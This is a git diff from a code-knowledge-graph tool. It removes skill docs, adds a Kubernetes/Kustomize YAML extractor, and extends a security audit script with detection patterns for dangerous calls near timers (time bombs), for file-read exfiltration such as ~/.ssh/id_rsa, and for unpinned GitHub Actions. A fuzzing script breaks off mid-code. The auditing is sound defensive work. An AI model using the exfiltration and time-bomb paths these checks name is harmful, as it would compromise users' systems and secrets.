These are often doing too much and are refactor candidates:
```
search_graph(
label="Function",
relationship="CALLS",
direction="outbound",
min_degree=10
)
```
### High Fan-In Functions (called by 10+ others)
These are critical functions — changes have wide impact:
```
search_graph(
label="Function",
relationship="CALLS",
direction="inbound",
min_degree=10
)
```
### Files That Change Together (Hidden Coupling)
Find files with high git change coupling:
```
query_graph(query="MATCH (a)-[r:FILE_CHANGES_WITH]->(b) WHERE r.coupling_score >= 0.5 RETURN a.name, b.name, r.coupling_score, r.co_change_count ORDER BY r.coupling_score DESC LIMIT 20")
```
High coupling between unrelated files suggests hidden dependencies.
### Unused Imports
```
search_graph(
relationship="IMPORTS",
direction="outbound",
max_degree=0,
label="Module"
)
```
## Key Tips
- `search_graph` with degree filters has no row cap (unlike `query_graph` which caps at 200).
- Use `file_pattern` to scope analysis to specific directories: `file_pattern="**/services/**"`.
- Dead code detection works best after a full index — run `index_repository` if the project was recently set up.
- Paginate results with `limit` and `offset` — check `has_more` in the response.
@@ -1,154 +0,0 @@
---
name: codebase-memory-reference
description: >
This skill should be used when the user asks about "codebase-memory-mcp tools",
"graph query syntax", "Cypher query examples", "edge types",
"how to use search_graph", "query_graph examples", or needs reference
documentation for the codebase knowledge graph tools.
---
# Codebase Memory MCP — Tool Reference
## Tools (14 total)
| Tool | Purpose |
|------|---------|
| `index_repository` | Parse and ingest repo into graph (only once — auto-sync keeps it fresh) |
| `index_status` | Check indexing status (ready/indexing/not found) |
| `list_projects` | List all indexed projects with timestamps and counts |
| `delete_project` | Remove a project from the graph |
| `search_graph` | Structured search with filters (name, label, degree, file pattern) |
| `search_code` | Grep-like text search within indexed project files |
| `trace_call_path` | BFS call chain traversal (exact name match required). Supports `risk_labels=true` for impact classification. |
| `detect_changes` | Map git diff to affected symbols + blast radius with risk scoring |
| `query_graph` | Cypher-like graph queries (200-row cap) |
| `get_graph_schema` | Node/edge counts, relationship patterns |
| `get_code_snippet` | Read source code by qualified name |
| `read_file` | Read any file from indexed project |
| `list_directory` | List files/directories with glob filter |
| `ingest_traces` | Ingest OpenTelemetry traces to validate HTTP_CALLS edges |
## Edge Types
| Type | Meaning |
|------|---------|
| `CALLS` | Direct function call within same service |
| `HTTP_CALLS` | Synchronous cross-service HTTP request |
| `ASYNC_CALLS` | Async dispatch (Cloud Tasks, Pub/Sub, SQS, Kafka) |
| `IMPORTS` | Module/package import |
| `DEFINES` / `DEFINES_METHOD` | Module/class defines a function/method |
| `HANDLES` | Route node handled by a function |
| `IMPLEMENTS` | Type implements an interface |
| `OVERRIDE` | Struct method overrides an interface method |
| `USAGE` | Read reference (callback, variable assignment) |
| `FILE_CHANGES_WITH` | Git history change coupling |
| `CONTAINS_FILE` / `CONTAINS_FOLDER` / `CONTAINS_PACKAGE` | Structural containment |
## Node Labels
`Project`, `Package`, `Folder`, `File`, `Module`, `Class`, `Function`, `Method`, `Interface`, `Enum`, `Type`, `Route`
## Qualified Name Format
`<project>.<path_parts>.<name>` — file path with `/` replaced by `.`, extension removed.
Examples:
- `myproject.cmd.server.main.HandleRequest` (Go)
- `myproject.services.orders.ProcessOrder` (Python)
- `myproject.src.components.App.App` (TypeScript)
Use `search_graph` to discover qualified names, then pass them to `get_code_snippet`.
## Cypher Subset (for query_graph)
**Supported:**
- `MATCH` with node labels and relationship types
- Variable-length paths: `-[:CALLS*1..3]->`
- `WHERE` with `=`, `<>`, `>`, `<`, `>=`, `<=`, `=~` (regex), `CONTAINS`, `STARTS WITH`
- `WHERE` with `AND`, `OR`, `NOT`
- `RETURN` with property access, `COUNT(x)`, `DISTINCT`
- `ORDER BY` with `ASC`/`DESC`
- `LIMIT`
- Edge property access: `r.confidence`, `r.url_path`, `r.coupling_score`
**Not supported:** `WITH`, `COLLECT`, `SUM`, `CREATE/DELETE/SET`, `OPTIONAL MATCH`, `UNION`
## Common Cypher Patterns
```
# Cross-service HTTP calls with confidence
MATCH (a)-[r:HTTP_CALLS]->(b) RETURN a.name, b.name, r.url_path, r.confidence LIMIT 20
# Filter by URL path
MATCH (a)-[r:HTTP_CALLS]->(b) WHERE r.url_path CONTAINS '/orders' RETURN a.name, b.name
# Interface implementations
MATCH (s)-[r:OVERRIDE]->(i) RETURN s.name, i.name LIMIT 20
# Change coupling
MATCH (a)-[r:FILE_CHANGES_WITH]->(b) WHERE r.coupling_score >= 0.5 RETURN a.name, b.name, r.coupling_score
# Functions calling a specific function
MATCH (f:Function)-[:CALLS]->(g:Function) WHERE g.name = 'ProcessOrder' RETURN f.name LIMIT 20
```
## Regex-Powered Search (No Full-Text Index Needed)
`search_graph` and `search_code` support full Go regex, making full-text search indexes unnecessary. Regex patterns provide precise, composable queries that cover all common discovery scenarios:
### search_graph — name_pattern / qn_pattern
| Pattern | Matches | Use case |
|---------|---------|----------|
| `.*Handler$` | names ending in Handler | Find all handlers |
| `(?i)auth` | case-insensitive "auth" | Find auth-related symbols |
| `get\|fetch\|load` | any of three words | Find data-loading functions |
| `^on[A-Z]` | names starting with on + uppercase | Find event handlers |
| `.*Service.*Impl` | Service...Impl pattern | Find service implementations |
| `^(Get\|Set\|Delete)` | CRUD prefixes | Find CRUD operations |
| `.*_test$` | names ending in _test | Find test functions |
| `.*\\.controllers\\..*` | qn_pattern for directory scoping | Scope to controllers dir |
### search_code — regex=true
| Pattern | Matches | Use case |
|---------|---------|----------|
| `TODO\|FIXME\|HACK` | multi-pattern scan | Find tech debt markers |
| `(?i)password\|secret\|token` | case-insensitive secrets | Security scan |
| `func\\s+Test` | Go test functions | Find test entry points |
| `api[._/]v[0-9]` | API version references | Find versioned API usage |
| `import.*from ['"]@` | scoped npm imports | Find package imports |
### Combining Filters for Surgical Queries
```
# Find unused auth handlers
search_graph(name_pattern="(?i).*auth.*handler.*", max_degree=0, exclude_entry_points=true)
# Find high fan-out functions in the services directory
search_graph(qn_pattern=".*\\.services\\..*", min_degree=10, relationship="CALLS", direction="outbound")
# Find all route handlers matching a URL pattern
search_code(pattern="(?i)(POST|PUT).*\\/api\\/v[0-9]\\/orders", regex=true)
```
## Critical Pitfalls
1. **`search_graph(relationship="HTTP_CALLS")` does NOT return edges** — it filters nodes by degree. Use `query_graph` with Cypher to see actual edges.
2. **`query_graph` has a 200-row cap** before aggregation — COUNT queries silently undercount on large codebases. Use `search_graph` with `min_degree`/`max_degree` for counting.
3. **`trace_call_path` needs exact names** — use `search_graph(name_pattern=".*Partial.*")` first to discover names.
4. **`direction="outbound"` misses cross-service callers** — use `direction="both"` for full context.
## Decision Matrix
| Question | Use |
|----------|-----|
| Who calls X? | `trace_call_path(direction="inbound")` |
| What does X call? | `trace_call_path(direction="outbound")` |
| Full call context | `trace_call_path(direction="both")` |
| Find by name pattern | `search_graph(name_pattern="...")` |
| Dead code | `search_graph(max_degree=0, exclude_entry_points=true)` |
| Cross-service edges | `query_graph` with Cypher |
| Impact of local changes | `detect_changes()` |
| Risk-classified trace | `trace_call_path(risk_labels=true)` |
| Text search | `search_code` or Grep |
@@ -1,125 +0,0 @@
---
name: codebase-memory-tracing
description: >
This skill should be used when the user asks "who calls this function",
"what does X call", "trace the call chain", "find callers of",
"show dependencies", "what depends on", "trace call path",
"find all references to", "impact analysis", or needs to understand
function call relationships and dependency chains.
---
# Call Chain Tracing via Knowledge Graph
Use graph tools to trace function call relationships. One `trace_call_path` call replaces dozens of grep searches across files.
## Workflow
### Step 1: Discover the exact function name
`trace_call_path` requires an **exact** name match. If you don't know the exact name, discover it first with regex:
```
search_graph(name_pattern=".*Order.*", label="Function")
```
Use full regex for precise discovery — no full-text search needed:
- `(?i)order` — case-insensitive
- `^(Get|Set|Delete)Order` — CRUD variants
- `.*Order.*Handler$` — handlers only
- `qn_pattern=".*services\\.order\\..*"` — scope to order service directory
This returns matching functions with their qualified names and file locations.
### Step 2: Trace callers (who calls this function?)
```
trace_call_path(function_name="ProcessOrder", direction="inbound", depth=3)
```
Returns a hop-by-hop list of all functions that call `ProcessOrder`, up to 3 levels deep.
### Step 3: Trace callees (what does this function call?)
```
trace_call_path(function_name="ProcessOrder", direction="outbound", depth=3)
```
### Step 4: Full context (both callers and callees)
```
trace_call_path(function_name="ProcessOrder", direction="both", depth=3)
```
**Always use `direction="both"` for complete context.** Cross-service HTTP_CALLS edges from other services appear as inbound edges — `direction="outbound"` alone misses them.
### Step 5: Read suspicious code
After finding interesting callers/callees, read their source:
```
get_code_snippet(qualified_name="project.path.module.FunctionName")
```
## Cross-Service HTTP Calls
To see all HTTP links between services with URLs and confidence scores:
```
query_graph(query="MATCH (a)-[r:HTTP_CALLS]->(b) RETURN a.name, b.name, r.url_path, r.confidence ORDER BY r.confidence DESC LIMIT 20")
```
Filter by URL path:
```
query_graph(query="MATCH (a)-[r:HTTP_CALLS]->(b) WHERE r.url_path CONTAINS '/orders' RETURN a.name, b.name, r.url_path")
```
## Async Dispatch (Cloud Tasks, Pub/Sub, etc.)
Find dispatch functions by name pattern, then trace:
```
search_graph(name_pattern=".*CreateTask.*|.*send_to_pubsub.*")
trace_call_path(function_name="CreateMultidataTask", direction="both")
```
## Interface Implementations
Find which structs implement an interface method:
```
query_graph(query="MATCH (s)-[r:OVERRIDE]->(i) WHERE i.name = 'Read' RETURN s.name, i.name LIMIT 20")
```
## Read References (callbacks, variable assignments)
```
query_graph(query="MATCH (a)-[r:USAGE]->(b) WHERE b.name = 'ProcessOrder' RETURN a.name, a.file_path LIMIT 20")
```
## Risk-Classified Impact Analysis
Add `risk_labels=true` to get risk classification on each node:
```
trace_call_path(function_name="ProcessOrder", direction="inbound", depth=3, risk_labels=true)
```
Returns nodes with `risk` (CRITICAL/HIGH/MEDIUM/LOW) based on hop depth, plus an `impact_summary` with counts. Risk mapping: hop 1=CRITICAL, 2=HIGH, 3=MEDIUM, 4+=LOW.
## Detect Changes (Git Diff Impact)
Map uncommitted changes to affected symbols and their blast radius:
```
detect_changes()
detect_changes(scope="staged")
detect_changes(scope="branch", base_branch="main")
```
Returns changed files, changed symbols, and impacted callers with risk classification. Scopes: `unstaged`, `staged`, `all` (default), `branch`.
## Key Tips
- Start with `depth=1` for quick answers, increase only if needed (max 5).
- Edge types in trace results: `CALLS` (direct), `HTTP_CALLS` (cross-service), `ASYNC_CALLS` (async dispatch), `USAGE` (read reference), `OVERRIDE` (interface implementation).
- `search_graph(relationship="HTTP_CALLS")` filters nodes by degree — it does NOT return edges. Use `query_graph` with Cypher to see actual edges with properties.
- Results are capped at 200 nodes per trace.
- `detect_changes` requires git in PATH.
View File
+5
View File
@@ -316,6 +316,11 @@ CBMFileResult *cbm_extract_file(const char *source, int source_len, CBMLanguage
cbm_extract_imports(&ctx);
cbm_extract_unified(&ctx);
// K8s / Kustomize semantic pass (additional structured extraction for YAML-based infra files).
if (ctx.language == CBM_LANG_KUSTOMIZE || ctx.language == CBM_LANG_K8S) {
cbm_extract_k8s(&ctx);
}
// LSP type-aware call resolution
uint64_t lsp_start = now_ns();
if (language == CBM_LANG_GO) {
+5
View File
@@ -75,6 +75,8 @@ typedef enum {
CBM_LANG_FORM,
CBM_LANG_MAGMA,
CBM_LANG_WOLFRAM,
CBM_LANG_KUSTOMIZE, // kustomization.yaml — Kubernetes overlay tool
CBM_LANG_K8S, // Generic Kubernetes manifest (apiVersion: detected)
CBM_LANG_COUNT
} CBMLanguage;
@@ -361,4 +363,7 @@ void cbm_extract_type_assigns(CBMExtractCtx *ctx);
// Single-pass unified extraction (replaces the 7 calls above except defs+imports).
void cbm_extract_unified(CBMExtractCtx *ctx);
// K8s / Kustomize semantic extractor (called when language is CBM_LANG_K8S or CBM_LANG_KUSTOMIZE).
void cbm_extract_k8s(CBMExtractCtx *ctx);
#endif // CBM_H
+290
View File
@@ -0,0 +1,290 @@
// extract_k8s.c — K8s manifest and Kustomize file extractor.
//
// For CBM_LANG_KUSTOMIZE: walks top-level block_mapping_pair nodes whose key
// matches "resources", "bases", "patches", "components", or
// "patchesStrategicMerge", then emits one CBMImport per block_sequence item.
//
// For CBM_LANG_K8S: finds apiVersion, kind, and metadata.name scalars in the
// first document's block_mapping and emits one CBMDefinition with label
// "Resource" and name "Kind/metadata-name".
#include "cbm.h"
#include "arena.h"
#include "helpers.h"
#include "tree_sitter/api.h"
#include <stdint.h>
#include <stdio.h>
#include <string.h>
// ---------------------------------------------------------------------------
// Internal helpers
// ---------------------------------------------------------------------------
// Return the raw source text for a scalar node (plain, single-quoted, or
// double-quoted). Surrounding quote characters are stripped for quoted forms.
// Handles flow_node wrappers transparently by descending into the first named
// child (the tree-sitter YAML grammar often wraps scalars in flow_node).
// Returns NULL for non-scalar node types.
static const char *get_scalar_text(CBMArena *a, TSNode node, const char *source) {
const char *type = ts_node_type(node);
// Unwrap flow_node: the actual scalar is the first named child
if (strcmp(type, "flow_node") == 0) {
TSNode inner = ts_node_named_child(node, 0);
if (ts_node_is_null(inner)) {
return NULL;
}
return get_scalar_text(a, inner, source);
}
if (strcmp(type, "plain_scalar") == 0) {
return cbm_node_text(a, node, source);
}
if (strcmp(type, "double_quote_scalar") == 0 || strcmp(type, "single_quote_scalar") == 0) {
const char *raw = cbm_node_text(a, node, source);
if (!raw) {
return NULL;
}
size_t len = strlen(raw);
if (len >= 2) {
return cbm_arena_strndup(a, raw + 1, len - 2);
}
return raw;
}
return NULL;
}
// Return true if the key text of a block_mapping_pair matches one of the
// Kustomize resource-list field names.
static int is_kustomize_list_key(const char *key) {
return (strcmp(key, "resources") == 0 || strcmp(key, "bases") == 0 ||
strcmp(key, "patches") == 0 || strcmp(key, "components") == 0 ||
strcmp(key, "patchesStrategicMerge") == 0 || strcmp(key, "crds") == 0);
}
// ---------------------------------------------------------------------------
// Kustomize extraction
// ---------------------------------------------------------------------------
// Walk a block_sequence node and emit one CBMImport per block_sequence_item
// scalar child, using key_name as the local_name.
static void emit_kustomize_sequence(CBMExtractCtx *ctx, TSNode seq_node, const char *key_name) {
CBMArena *a = ctx->arena;
uint32_t n = ts_node_child_count(seq_node);
for (uint32_t i = 0; i < n; i++) {
TSNode item = ts_node_child(seq_node, i);
if (strcmp(ts_node_type(item), "block_sequence_item") != 0) {
continue;
}
// block_sequence_item has one named child: the value
uint32_t ic = ts_node_child_count(item);
for (uint32_t j = 0; j < ic; j++) {
TSNode val = ts_node_child(item, j);
const char *scalar = get_scalar_text(a, val, ctx->source);
if (!scalar) {
continue;
}
CBMImport imp = {
.local_name = cbm_arena_strdup(a, key_name),
.module_path = cbm_arena_strdup(a, scalar),
};
cbm_imports_push(&ctx->result->imports, a, imp);
}
}
}
static void extract_kustomize(CBMExtractCtx *ctx) {
CBMArena *a = ctx->arena;
// Traverse: stream -> document -> block_node -> block_mapping -> block_mapping_pair
TSNode root = ctx->root;
uint32_t root_n = ts_node_child_count(root);
for (uint32_t si = 0; si < root_n; si++) {
TSNode stream_child = ts_node_child(root, si);
if (strcmp(ts_node_type(stream_child), "document") != 0) {
continue;
}
// Find block_mapping inside the document (may be wrapped in block_node)
TSNode mapping = ts_node_named_child(stream_child, 0);
if (ts_node_is_null(mapping)) {
continue;
}
// Some grammars wrap in block_node
if (strcmp(ts_node_type(mapping), "block_node") == 0) {
mapping = ts_node_named_child(mapping, 0);
}
if (ts_node_is_null(mapping) || strcmp(ts_node_type(mapping), "block_mapping") != 0) {
continue;
}
uint32_t pair_n = ts_node_child_count(mapping);
for (uint32_t pi = 0; pi < pair_n; pi++) {
TSNode pair = ts_node_child(mapping, pi);
if (strcmp(ts_node_type(pair), "block_mapping_pair") != 0) {
continue;
}
// First named child = key
TSNode key_node = ts_node_named_child(pair, 0);
if (ts_node_is_null(key_node)) {
continue;
}
const char *key_text = get_scalar_text(a, key_node, ctx->source);
if (!key_text || !is_kustomize_list_key(key_text)) {
continue;
}
// Second named child = value (should be a block_sequence or block_node wrapping one)
TSNode val_node = ts_node_named_child(pair, 1);
if (ts_node_is_null(val_node)) {
continue;
}
if (strcmp(ts_node_type(val_node), "block_node") == 0) {
val_node = ts_node_named_child(val_node, 0);
}
if (ts_node_is_null(val_node) ||
strcmp(ts_node_type(val_node), "block_sequence") != 0) {
continue;
}
emit_kustomize_sequence(ctx, val_node, key_text);
}
}
}
// ---------------------------------------------------------------------------
// K8s manifest extraction
// ---------------------------------------------------------------------------
// Descend into the first block_mapping of a document and extract apiVersion,
// kind, and metadata.name. Returns void; fills kind_buf and meta_name_buf.
static void extract_k8s_scalars(CBMExtractCtx *ctx, TSNode mapping, char *kind_buf, size_t kind_sz,
char *meta_name_buf, size_t meta_sz) {
CBMArena *a = ctx->arena;
kind_buf[0] = '\0';
meta_name_buf[0] = '\0';
uint32_t n = ts_node_child_count(mapping);
for (uint32_t i = 0; i < n; i++) {
TSNode pair = ts_node_child(mapping, i);
if (strcmp(ts_node_type(pair), "block_mapping_pair") != 0) {
continue;
}
TSNode key_node = ts_node_named_child(pair, 0);
if (ts_node_is_null(key_node)) {
continue;
}
const char *key = get_scalar_text(a, key_node, ctx->source);
if (!key) {
continue;
}
TSNode val_node = ts_node_named_child(pair, 1);
if (ts_node_is_null(val_node)) {
continue;
}
// Unwrap block_node if present
if (strcmp(ts_node_type(val_node), "block_node") == 0) {
val_node = ts_node_named_child(val_node, 0);
}
if (ts_node_is_null(val_node)) {
continue;
}
if (strcmp(key, "kind") == 0) {
const char *v = get_scalar_text(a, val_node, ctx->source);
if (v) {
snprintf(kind_buf, kind_sz, "%s", v);
}
} else if (strcmp(key, "metadata") == 0) {
// Descend into metadata block_mapping to find "name"
// val_node is already unwrapped from block_node above.
TSNode meta_mapping = val_node;
if (ts_node_is_null(meta_mapping) ||
strcmp(ts_node_type(meta_mapping), "block_mapping") != 0) {
continue;
}
uint32_t mn = ts_node_child_count(meta_mapping);
for (uint32_t mi = 0; mi < mn; mi++) {
TSNode mpair = ts_node_child(meta_mapping, mi);
if (strcmp(ts_node_type(mpair), "block_mapping_pair") != 0) {
continue;
}
TSNode mkey = ts_node_named_child(mpair, 0);
if (ts_node_is_null(mkey)) {
continue;
}
const char *mkey_text = get_scalar_text(a, mkey, ctx->source);
if (!mkey_text || strcmp(mkey_text, "name") != 0) {
continue;
}
TSNode mval = ts_node_named_child(mpair, 1);
if (ts_node_is_null(mval)) {
continue;
}
const char *meta_name = get_scalar_text(a, mval, ctx->source);
if (meta_name) {
snprintf(meta_name_buf, meta_sz, "%s", meta_name);
}
}
}
}
}
static void extract_k8s_manifest(CBMExtractCtx *ctx) {
CBMArena *a = ctx->arena;
TSNode root = ctx->root;
uint32_t root_n = ts_node_child_count(root);
for (uint32_t si = 0; si < root_n; si++) {
TSNode stream_child = ts_node_child(root, si);
if (strcmp(ts_node_type(stream_child), "document") != 0) {
continue;
}
TSNode mapping = ts_node_named_child(stream_child, 0);
if (ts_node_is_null(mapping)) {
continue;
}
if (strcmp(ts_node_type(mapping), "block_node") == 0) {
mapping = ts_node_named_child(mapping, 0);
}
if (ts_node_is_null(mapping) || strcmp(ts_node_type(mapping), "block_mapping") != 0) {
continue;
}
char kind_buf[256] = {0};
char meta_name_buf[256] = {0};
extract_k8s_scalars(ctx, mapping, kind_buf, sizeof(kind_buf), meta_name_buf,
sizeof(meta_name_buf));
// Skip malformed manifests (no kind or no metadata.name)
if (kind_buf[0] == '\0' || meta_name_buf[0] == '\0') {
continue;
}
char def_name[512];
snprintf(def_name, sizeof(def_name), "%s/%s", kind_buf, meta_name_buf);
CBMDefinition def = {0};
def.name = cbm_arena_strdup(a, def_name);
def.qualified_name = cbm_arena_sprintf(a, "%s.%s", ctx->module_qn, def_name);
def.label = cbm_arena_strdup(a, "Resource");
def.file_path = ctx->rel_path;
def.start_line = ts_node_start_point(mapping).row + 1;
def.end_line = ts_node_end_point(mapping).row + 1;
cbm_defs_push(&ctx->result->defs, a, def);
break; // Only the first document per file
}
}
// ---------------------------------------------------------------------------
// Public entry point
// ---------------------------------------------------------------------------
void cbm_extract_k8s(CBMExtractCtx *ctx) {
if (ctx->language == CBM_LANG_KUSTOMIZE) {
extract_kustomize(ctx);
} else if (ctx->language == CBM_LANG_K8S) {
extract_k8s_manifest(ctx);
}
}
+13
View File
@@ -1041,6 +1041,16 @@ static const CBMLangSpec lang_specs[CBM_LANG_COUNT] = {
{CBM_LANG_WOLFRAM, wolfram_func_types, empty_types, empty_types, wolfram_module_types,
wolfram_call_types, wolfram_import_types, empty_types, empty_types, empty_types, empty_types,
empty_types, NULL, empty_types, NULL, NULL},
// CBM_LANG_KUSTOMIZE — reuses YAML grammar; semantic extraction via cbm_extract_k8s()
{CBM_LANG_KUSTOMIZE, empty_types, empty_types, empty_types, yaml_module_types, empty_types,
empty_types, empty_types, empty_types, empty_types, empty_types, empty_types, NULL,
empty_types, NULL, NULL},
// CBM_LANG_K8S — reuses YAML grammar; semantic extraction via cbm_extract_k8s()
{CBM_LANG_K8S, empty_types, empty_types, empty_types, yaml_module_types, empty_types,
empty_types, empty_types, empty_types, empty_types, empty_types, empty_types, NULL,
empty_types, NULL, NULL},
};
const CBMLangSpec *cbm_lang_spec(CBMLanguage lang) {
@@ -1180,6 +1190,9 @@ const TSLanguage *cbm_ts_language(CBMLanguage lang) {
return tree_sitter_magma();
case CBM_LANG_WOLFRAM:
return tree_sitter_wolfram();
case CBM_LANG_KUSTOMIZE:
case CBM_LANG_K8S:
return tree_sitter_yaml();
default:
return NULL;
}
+7 -33
View File
@@ -1,42 +1,16 @@
#!/usr/bin/env bash
set -euo pipefail
# Pre-commit hook: C linting + tests.
# Mirrors the lint targets in Makefile.cbm.
# Pre-commit hook: linters + security audit + build + tests.
#
# Setup (once after clone):
# Activated automatically via scripts/setup.sh or manually:
# git config core.hooksPath scripts/hooks
LLVM_BIN="$(brew --prefix llvm 2>/dev/null)/bin"
echo "pre-commit: running all linters in parallel..."
make -j3 -f Makefile.cbm lint
# Resolve tool paths (Homebrew LLVM is keg-only on macOS)
CLANG_TIDY="${LLVM_BIN}/clang-tidy"
CLANG_FORMAT="${LLVM_BIN}/clang-format"
[ -x "$CLANG_TIDY" ] || CLANG_TIDY="clang-tidy"
[ -x "$CLANG_FORMAT" ] || CLANG_FORMAT="clang-format"
echo "pre-commit: security audit (source-level)..."
scripts/security-audit.sh
# --- clang-format (blocking — fastest, check first) ---
echo "pre-commit: checking formatting..."
make -f Makefile.cbm lint-format CLANG_FORMAT="$CLANG_FORMAT"
# --- cppcheck (blocking) ---
if command -v cppcheck &>/dev/null; then
echo "pre-commit: running cppcheck..."
make -f Makefile.cbm lint-cppcheck
else
echo "pre-commit: cppcheck not found, skipping"
echo " install: brew install cppcheck"
fi
# --- clang-tidy (blocking) ---
if command -v "$CLANG_TIDY" &>/dev/null; then
echo "pre-commit: running clang-tidy..."
make -f Makefile.cbm lint-tidy CLANG_TIDY="$CLANG_TIDY"
else
echo "pre-commit: clang-tidy not found, skipping"
echo " install: brew install llvm"
fi
# --- Build + Tests (blocking) ---
echo "pre-commit: building and running tests..."
make -f Makefile.cbm test
make -j$(sysctl -n hw.ncpu 2>/dev/null || nproc) -f Makefile.cbm test
+3 -3
View File
@@ -4,14 +4,14 @@
# Any call to a listed function in a .c file under src/ that is NOT on this
# list causes the security audit (scripts/security-audit.sh) to fail.
# ── Foundation: platform abstraction (defines cbm_popen wrapper) ───────────
# ── Foundation: platform abstraction (defines cbm_popen wrapper + shell-free exec) ──
src/foundation/compat_fs.c:popen:cbm_popen wrapper definition (POSIX)
src/foundation/compat_fs.c:cbm_popen:cbm_popen function definition
src/foundation/compat_fs.c:fork:cbm_exec_no_shell — fork+execvp for shell-free subprocess execution
src/foundation/compat_fs.c:execvp:cbm_exec_no_shell — direct exec without shell interpretation
# ── CLI: update command (user-initiated, interactive) ──────────────────────
src/cli/cli.c:system:curl download of release binary (update cmd)
src/cli/cli.c:system:unzip extraction on Windows (update cmd)
src/cli/cli.c:system:version verification after update (update cmd)
src/cli/cli.c:cbm_popen:sha256 checksum verification (update cmd)
src/cli/cli.c:popen:sha256 checksum computation via shasum
+96
View File
@@ -184,6 +184,102 @@ if ! $FOPEN_FOUND; then
echo "OK: All file writes are in expected locations."
fi
# ── 4. Time-bomb pattern detection ────────────────────────────────
# Scan for time/clock/sleep near dangerous calls — could indicate
# code that activates malicious behavior after a delay or date.
echo ""
echo "--- Scanning for time-bomb patterns ---"
TIMEBOMB_FOUND=false
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Extract line numbers of dangerous calls
DANGER_LINES=$(grep -n 'system(\|popen(\|cbm_popen(\|connect(\|execl(' "$file" 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
| cut -d: -f1 || true)
[ -z "$DANGER_LINES" ] && continue
# For each dangerous call, check if time/clock/sleep appears within 10 lines
for dline in $DANGER_LINES; do
start=$((dline > 10 ? dline - 10 : 1))
end=$((dline + 10))
NEARBY=$(sed -n "${start},${end}p" "$file" 2>/dev/null \
| grep -E 'time\(|clock\(|sleep\(|nanosleep\(|usleep\(' \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'timeout' | grep -v 'elapsed' || true)
if [ -n "$NEARBY" ]; then
echo "REVIEW: ${relfile}:${dline}: time-related call near dangerous function"
echo " $NEARBY"
TIMEBOMB_FOUND=true
fi
done
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if ! $TIMEBOMB_FOUND; then
echo "OK: No suspicious time-bomb patterns found."
fi
# ── 5. MCP tool handler file read audit ──────────────────────────
# The MCP server (mcp.c) handles tool calls that return data to the
# client. A malicious PR could add file reads that exfiltrate sensitive
# data (e.g., ~/.ssh/id_rsa) through the normal tool response channel.
# Track all file-reading functions in mcp.c against an allow-list.
echo ""
echo "--- Scanning MCP tool handlers for file reads ---"
MCP_FILE="$ROOT/src/mcp/mcp.c"
MCP_READS_OK=true
if [ -f "$MCP_FILE" ]; then
# Known safe file reads in mcp.c (with line-range context)
# - search_code: writes pattern to tmpfile, reads grep output
# - get_code_snippet: reads source via read_file_lines (path-contained)
# - manage_adr: reads/writes ADR files
# - detect_changes: reads git diff output
# Count fopen/fread calls and compare against expected
FOPEN_COUNT=$(grep -c 'fopen\|fread\|read_file' "$MCP_FILE" 2>/dev/null || echo "0")
# Known count as of v0.5.5: update this when legitimate reads are added
EXPECTED_MAX=12
if [ "$FOPEN_COUNT" -gt "$EXPECTED_MAX" ]; then
echo "REVIEW: src/mcp/mcp.c has $FOPEN_COUNT file read operations (expected max $EXPECTED_MAX)"
echo " New file reads in MCP tool handlers must be reviewed for data exfiltration risk."
MCP_READS_OK=false
fi
fi
if $MCP_READS_OK; then
echo "OK: MCP tool handler file reads within expected count."
fi
# ── 6. GitHub Actions pinned to SHA ───────────────────────────────
# Mutable tags (@v4) can be moved by compromised maintainers.
# All Actions must be pinned to full commit SHAs.
echo ""
echo "--- Scanning for unpinned GitHub Actions ---"
UNPINNED_FOUND=false
if [ -d "$ROOT/.github/workflows" ]; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Only check files tracked by git (skip stale untracked files)
git ls-files --error-unmatch "$file" > /dev/null 2>&1 || continue
while IFS= read -r match; do
[[ -z "$match" ]] && continue
echo "BLOCKED: ${relfile}: ${match}"
echo " -> Pin to SHA: uses: owner/action@<commit-sha> # version"
fail
UNPINNED_FOUND=true
done < <(grep -nE 'uses:.*@v[0-9]' "$file" 2>/dev/null || true)
done < <(find "$ROOT/.github/workflows" -name '*.yml' -type f | sort)
fi
if ! $UNPINNED_FOUND; then
echo "OK: All GitHub Actions pinned to commit SHAs."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
+168
View File
@@ -0,0 +1,168 @@
#!/usr/bin/env bash
set -euo pipefail
# Fuzz testing: feeds random/mutated inputs to the MCP server and CLI
# to find crashes, hangs, and memory errors. Runs for a limited time.
#
# Usage: scripts/security-fuzz-random.sh <binary-path> [duration_seconds]
BINARY="${1:?usage: security-fuzz-random.sh <binary-path> [duration_seconds]}"
DURATION="${2:-60}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Fuzz Testing ($DURATION seconds) ==="
FUZZ_TMPDIR=$(mktemp -d)
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
CRASHES=0
ITERATIONS=0
END_TIME=$((SECONDS + DURATION))
# Portable timeout
run_with_timeout() {
local secs="$1"; shift
if command -v timeout &>/dev/null; then
timeout "$secs" "$@" || true
else
perl -e "alarm($secs); exec @ARGV" -- "$@" || true
fi
}
# ── Phase 1: Random JSON-RPC mutations ───────────────────────
echo ""
echo "--- Phase 1: Random JSON-RPC mutations ---"
while [ $SECONDS -lt $END_TIME ]; do
ITERATIONS=$((ITERATIONS + 1))
# Generate a random mutated JSON-RPC payload
PAYLOAD=$(python3 -c "
import random, string, json
# Base valid request
base = {
'jsonrpc': '2.0',
'id': random.randint(-999999, 999999),
'method': random.choice([
'initialize', 'tools/call', 'tools/list',
random.choice(string.ascii_letters) * random.randint(1, 100),
'',
]),
}
# Random mutations
mutation = random.randint(0, 10)
if mutation == 0:
# Valid tool call with random args
base['params'] = {'name': 'search_graph', 'arguments': {
'name_pattern': ''.join(random.choices(string.printable, k=random.randint(0, 500)))
}}
elif mutation == 1:
# Huge nested object
base['params'] = {'a': {'b': {'c': {'d': {'e': 'deep'}}}}}
elif mutation == 2:
# Random bytes as method
base['method'] = ''.join(random.choices(string.printable, k=random.randint(1, 1000)))
elif mutation == 3:
# Null fields
base['method'] = None
base['id'] = None
elif mutation == 4:
# Array instead of object
base = [1, 2, 3]
elif mutation == 5:
# Empty
base = {}
elif mutation == 6:
# Random Cypher query
base['params'] = {'name': 'query_graph', 'arguments': {
'query': ''.join(random.choices(string.printable, k=random.randint(1, 200)))
}}
elif mutation == 7:
# Very long string values
